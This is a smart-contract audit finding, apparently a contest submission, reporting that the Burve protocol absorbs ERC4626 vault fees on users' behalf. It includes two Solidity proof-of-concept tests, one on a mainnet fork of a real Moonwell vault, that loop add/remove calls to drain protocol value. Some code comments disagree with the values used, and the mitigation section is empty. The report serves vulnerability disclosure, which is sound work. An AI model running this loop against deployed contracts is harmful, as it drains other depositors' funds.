Basic Fleece Wolf

High

# Fee from Vaults are absorbed by Protocol instead of User

### Summary

Users can repeatedly call `ValueFacet::addValue` and `ValueFacet::removeValue` on a Closure in a loop without incurring vault fees, as the protocol absorbs these costs. This allows users to exploit the protocol at no cost to themselves, draining the protocolâ€™s shares in the vault and causing losses for other depositors.

### Root Cause

In E4626::withdraw, the amount of assets the protocol attempts to withdraw is [here](https://github.com/sherlock-audit/2025-04-burve/blob/main/Burve/src/multi/vertex/E4626.sol#L153).

```solidity
temp.vars[2] += amount;
```
`temp.vars[2]` is to be used in `E4626::commit` as the total amounts of assets to be withdrawn as seen [here](https://github.com/sherlock-audit/2025-04-burve/blob/main/Burve/src/multi/vertex/E4626.sol#L64).

However, in E4626::withdraw, the `amount` argument, that was derived by `Closure::removeValue` and `AdjustorLib::toReal`, is not decreased to accommodate for the withdrawal fees.

The protocol will then attempt to withdraw `amount` of tokens.

As a result, the protocol will absorb the fees by burning more shares to cover the fee, instead of burning less shares and returning users the amount after fees.

### Internal Pre-conditions

1. Closure and vertex has been initialized.
2. User has some of the relevant token that is the underlying asset of the vault in that vertex.

### External Pre-conditions

1. The `vault` in the vertex chosen has a fee, in that `previewRedeem(
            self.vault.previewDeposit(1 << 128))` is less than 2^128.

### Attack Path

1. Closure is initialized with a Vault with fees. 
2. User repeatedly calls `ValueFacet::addValue` and `ValueFacet::removeValue` on the Closure.
3. Protocol continues to incur withdrawal and/or deposited fees with no cost to the user.


### Impact

The protocol's shares in that Vault can be drained at no cost to the user, causing loss of funds of all other depositors.

### PoC

We will have two PoCs

The first PoC will be demonstrated using a Vault with Custom Deposit and Withdrawal Fees.

This will show a user adding and remove value, at no cost to himself, but at a huge cost for the protocol.

PoC:

```solidity
// SPDX-License-Identifier: BUSL-1.1
pragma solidity ^0.8.27;

import {MultiSetupTest} from "./MultiSetup.u.sol";
import {console2 as console} from "forge-std/console2.sol";
import {ValueFacet} from "../../src/multi/facets/ValueFacet.sol";
import {ERC20} from "openzeppelin-contracts/token/ERC20/ERC20.sol";
import {AssetBookImpl} from "../../src/multi/Asset.sol";
import {MAX_TOKENS} from "../../src/multi/Token.sol";
import {MockERC20} from "../mocks/MockERC20.sol";
import "forge-std/Test.sol";
import {IERC4626} from "openzeppelin-contracts/interfaces/IERC4626.sol";
import {VaultType, VaultLib} from "../../src/multi/vertex/VaultProxy.sol";
import {FullMath} from "../../src/FullMath.sol";

contract TestDoubleFee is MultiSetupTest {
    
    address john = makeAddr("john");
    function setUp() public {
        vm.startPrank(owner);
        _newDiamond();
     
        _newTokensAndVaultsWithFees(4);
        _fundAccount(alice);
        _fundAccount(bob);
        // Its annoying we have to fund first.
        _fundAccount(address(this));
        _fundAccount(owner);
        // So we have to redo the prank.
        vm.startPrank(owner);
        _initializeClosure(0xF, 100e18); // 1,2,3,4
        _initializeClosure(0xE, 100e18); // 2,3,4
        _initializeClosure(0xD, 100e18); // 1,3,4
        _initializeClosure(0xc, 1e12); // 3,4
        _initializeClosure(0xB, 100e18); // 1,2,4
        _initializeClosure(0xa, 1e12); // 2,4
        _initializeClosure(0x9, 1e18); // 1,4
        _initializeClosure(0x8, 1e12); // 4
        _initializeClosure(0x7, 100e18); // 1,2,3
        _initializeClosure(0x6, 1e12); // 2,3
        _initializeClosure(0x5, 1e12); // 1,3
        _initializeClosure(0x4, 1e12); // 3
        _initializeClosure(0x3, 100e18); // 1,2
        _initializeClosure(0x2, 1e12); // 2
        _initializeClosure(0x1, 100e18); // 1
        
        vm.stopPrank();
    }
        function getBalances(
        address who
    ) public view returns (uint256[4] memory balances) {
        for (uint8 i = 0; i < 4; ++i) {
            balances[i] = ERC20(tokens[i]).balanceOf(who);
        }
    }

    function diffBalances(
        uint256[4] memory a,
        uint256[4] memory b
    ) public pure returns (int256[4] memory diffs) {
        for (uint8 i = 0; i < 4; ++i) {
            diffs[i] = int256(a[i]) - int256(b[i]);
        }
    }
   

    function test_FeeTest() public {
        uint256 oneBPSX128 = 1 << 128;
     
        console2.log("Step 1: Set Closure Fees: 0.1%%");
        vm.startPrank(owner);
       
        simplexFacet.setClosureFees(0x1, uint128(oneBPSX128 / 10000), 0); // 1000 basis points
     
       ERC20(tokens[0]).transfer(john, 10_000e18);
     
         vm.stopPrank();
         vm.startPrank(john);
        ERC20(tokens[0]).approve(address(diamond), type(uint256).max);
       uint256 token0BalJohnBefore = ERC20(tokens[0]).balanceOf(john);
       assertEq(token0BalJohnBefore, 10_000e18);
       
        IERC4626 vaultOne = vaults[0];
        uint256 beforeShares = vaultOne.balanceOf(diamond);
        
        console2.log("Step2: Add 10_000e18 of value via addValue");
        valueFacet.addValue(john, 0x1, 100e18, 0);

        console2.log("Step3: Remove 10_000e18 of value via removeValue");
       
       valueFacet.removeValue(john, 0x1, 100e18 , 0);
        vm.stopPrank();
        
      
        uint256 afterShares = vaultOne.balanceOf(diamond);
       
        assertGt(beforeShares,afterShares);
        
        uint256 diff = beforeShares - afterShares;
         uint256[4] memory balances = getBalances(john);
         assertEq(balances[0],token0BalJohnBefore);
        console2.log("Note: User is made whole, but protocol absorbed a loss of %s shares", diff);
        //Note: User is made whole, but protocol absorbed a
        // loss of 19090909090909090910 shares

    }
  
      function _newTokensAndVaultsWithFees(uint8 numTokens) public {
        // even indexes == 18 decimals
        // odd indexes == 6 decimals
        for (uint8 i = 0; i < numTokens; ++i) {
            string memory idx = Strings.toString(i);
            tokens.push(
                address(
                    new MockERC20(
                        string.concat("Test Token ", idx),
                        string.concat("TEST", idx),
                        18
                    )
                )
            );
        }

        // Ensure token0 address is less than token1
        if (tokens[0] > tokens[1])
            (tokens[0], tokens[1]) = (tokens[1], tokens[0]);

        token0 = MockERC20(tokens[0]);
        token1 = MockERC20(tokens[1]);

        // Add vaults and vertices
        for (uint256 i = 0; i < tokens.length; ++i) {
            string memory idx = Strings.toString(i);
            // Have to setup vaults here in case the token order changed.
            vaults.push(
                IERC4626(
                    address(
                        new MockERC4626WithFee(
                            ERC20(tokens[i]),
                           1000// 10% fee
                        )
                    )
                )
            );
            simplexFacet.addVertex(
                tokens[i],
                address(vaults[i]),
                VaultType.E4626
            );
        }

        // Check integrations
        // If a bgt ex already exists, we'll have to add ourselves to the rates.
        if (address(bgtEx) != address(0)) {
            for (uint256 i = 0; i < tokens.length; ++i) {
                bgtEx.setRate(tokens[i], 1 << 128);
            }
        }

    }

}

```
MockERC4626WithFee:

```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

import "openzeppelin-contracts/token/ERC20/extensions/ERC4626.sol";
import "openzeppelin-contracts/token/ERC20/ERC20.sol";
import {ERC4626Fees, ERC4626} from "openzeppelin-contracts/mocks/docs/ERC4626Fees.sol";

contract MockERC4626WithFee is ERC4626Fees{
    address payable public vaultOwner;
    uint256 public entryFeeBasisPoints;
    uint256 public exitFeeBasisPoints;


    constructor(
        IERC20 _asset,
        uint256 _basisPoints
    ) ERC4626(_asset) ERC20("Vault Token", "vT") {
        vaultOwner = payable(msg.sender);
        entryFeeBasisPoints = _basisPoints;
        exitFeeBasisPoints = _basisPoints;
    }

    // Owner-only function to update entry fee
    function setEntryFeeBasisPoints(uint256 _basisPoints) external  {
        require(_basisPoints <= 10000, "Fee exceeds 100%");
        entryFeeBasisPoints = _basisPoints;
    }
    
    function setExitFeeBasisPoints(uint256 _basisPoints) external {
        require(_basisPoints <= 10000, "Fee exceeds 100%");
        exitFeeBasisPoints = _basisPoints;
    }

    // Owner-only function to update fee recipient
    function setVaultOwner(address payable _newOwner) external  {
        require(_newOwner != address(0), "Invalid address");
        vaultOwner = _newOwner;
    }

    function deposit(uint256 assets, address receiver) public virtual override returns (uint256) {
        require(assets <= maxDeposit(receiver), "ERC4626: deposit more than max");
        uint256 shares = previewDeposit(assets);
        _deposit(_msgSender(), receiver, assets, shares);
        afterDeposit(assets, shares);
        return shares;
    }

    function mint(uint256 shares, address receiver) public virtual override returns (uint256) {
        require(shares <= maxMint(receiver), "ERC4626: mint more than max");
        uint256 assets = previewMint(shares);
        _deposit(_msgSender(), receiver, assets, shares);
        afterDeposit(assets, shares);
        return assets;
    }

    function redeem(uint256 shares, address receiver, address owner) public virtual override returns (uint256) {
        require(shares <= maxRedeem(owner), "ERC4626: redeem more than max");
        uint256 assets = previewRedeem(shares);
        beforeWithdraw(assets, shares);
        _withdraw(_msgSender(), receiver, owner, assets, shares);
        return assets;
    }

    function withdraw(uint256 assets, address receiver, address owner) public virtual override returns (uint256) {
        require(assets <= maxWithdraw(owner), "ERC4626: withdraw more than max");
        uint256 shares = previewWithdraw(assets);
        beforeWithdraw(assets, shares);
        _withdraw(_msgSender(), receiver, owner, assets, shares);
        return shares;
    }

    // === Fee configuration ===

 

    function _exitFeeBasisPoints() internal view override returns (uint256) {
        return exitFeeBasisPoints; // replace with e.g. 100 for 1%
    }



    function _exitFeeRecipient() internal view override returns (address) {
        return vaultOwner; // replace with e.g. a treasury address
    }


    function _entryFeeBasisPoints() internal view override returns (uint256) {
        return entryFeeBasisPoints;
    }

    function _entryFeeRecipient() internal view override returns (address) {
        return vaultOwner;
    }

    function afterDeposit(uint256 assets, uint256 shares) internal virtual {}
    function beforeWithdraw(uint256 assets, uint256 shares) internal virtual {}
}
```


The second PoC will be demonstrated using a real vault `Moonwell USDC Lender WETH Borrower` deployed on Base Chain:

The PoC demonstrates that calling `addValue` and `removeValue` in a loop costs nothing in terms of `asset` for the user, but reduces the total asset value of the protocol.

```solidity
// SPDX-License-Identifier: BUSL-1.1
pragma solidity ^0.8.27;

import {MultiSetupTest} from "./MultiSetup.u.sol";
import {console2 as console} from "forge-std/console2.sol";
import {ValueFacet} from "../../src/multi/facets/ValueFacet.sol";
import {ERC20} from "openzeppelin-contracts/token/ERC20/ERC20.sol";
import {AssetBookImpl} from "../../src/multi/Asset.sol";
import {MAX_TOKENS} from "../../src/multi/Token.sol";
import {MockERC20} from "../mocks/MockERC20.sol";
import "forge-std/Test.sol";
import {IERC4626} from "openzeppelin-contracts/interfaces/IERC4626.sol";
import {VaultType, VaultLib} from "../../src/multi/vertex/VaultProxy.sol";
import {FullMath} from "../../src/FullMath.sol";

contract TestWithMoonWell is MultiSetupTest {
    
    address john = makeAddr("john");
    address baseUSDCWhale = address(0x3304E22DDaa22bCdC5fCa2269b418046aE7b566A);
    ERC20 public baseUSDC  = ERC20(0x833589fCD6eDb6E08f4c7C32D4f71b54bdA02913);
    IERC4626 MOONWELL_USDC_BORROWER = IERC4626(address(0xfdB431E661372fA1146efB70bf120ECDed944a78));
    function setUp() public {
        // use base fork
        string memory base = vm.envString("BASE_RPC_URL");
        
        vm.createSelectFork(base,29864895);
        // give owner lots of usdc
        giveUSDC(owner, 500_000e6);
        vm.startPrank(owner);
        _newDiamond();
      
        _addUSDCAndYearnVault();
      
        vm.startPrank(owner);
 
       baseUSDC.approve(diamond, type(uint256).max);
       simplexFacet.addClosure(0x1, 100e18, 0, 0);
        
        vm.stopPrank();
    }
        function getBalances(
        address who
    ) public view returns (uint256[4] memory balances) {
        for (uint8 i = 0; i < 4; ++i) {
            balances[i] = ERC20(tokens[i]).balanceOf(who);
        }
    }

    function giveUSDC(address who, uint256 amount)public {
        vm.startPrank(baseUSDCWhale);
        baseUSDC.transfer(who,amount);
        vm.stopPrank();
    }

    function diffBalances(
        uint256[4] memory a,
        uint256[4] memory b
    ) public pure returns (int256[4] memory diffs) {
        for (uint8 i = 0; i < 4; ++i) {
            diffs[i] = int256(a[i]) - int256(b[i]);
        }
    }


     function test_VaultFees2() public {
      
      
      uint256 baseFeeX128 = 100<<128;
      vm.startPrank(owner);
      simplexFacet.setClosureFees(0x01, uint128(baseFeeX128/10_000), 0);
      vm.stopPrank();
      console2.log("Step 1: Give John some USDC");
      uint256 oneHundredThousandUSDC = 100_000e6;
      giveUSDC(john, oneHundredThousandUSDC);
      assertTrue(baseUSDC.balanceOf(john)==oneHundredThousandUSDC);
      console2.log("Step 2: As John, Loop Add Value and Remove Value:");
      vm.startPrank(john);
    
      uint256 sharesBefore = MOONWELL_USDC_BORROWER.balanceOf(diamond);
      uint256 previewRedeemBefore = MOONWELL_USDC_BORROWER.previewRedeem(sharesBefore);
      baseUSDC.approve(diamond,type(uint256).max);
      for (uint i; i<500;i++){
          valueFacet.addValue(john, 0x1, 1000e18, 0);
          valueFacet.removeValueSingle(john, 0x1, 1000e18, 0, address(baseUSDC), 0);
      }
    assertTrue(baseUSDC.balanceOf(john)==oneHundredThousandUSDC);
      
     uint256 sharesAfter = MOONWELL_USDC_BORROWER.balanceOf(diamond);
     uint256 previewRedeemAfter = MOONWELL_USDC_BORROWER.previewRedeem(sharesAfter);
      
      assertGt(previewRedeemBefore,previewRedeemAfter);
     //  previewRedeemBefore: 99999999
     //  previewRedeemAfter: 99999483
 

    }

    function _addUSDCAndYearnVault() public {
        address baseUSDC = address(0x833589fCD6eDb6E08f4c7C32D4f71b54bdA02913);
        address yearnVault = address(0xfdB431E661372fA1146efB70bf120ECDed944a78);
        tokens.push(baseUSDC);
        vaults.push(IERC4626(yearnVault));
        simplexFacet.addVertex(
                tokens[0],
                address(vaults[0]),
                VaultType.E4626
            );

    }


}
```

### Mitigation
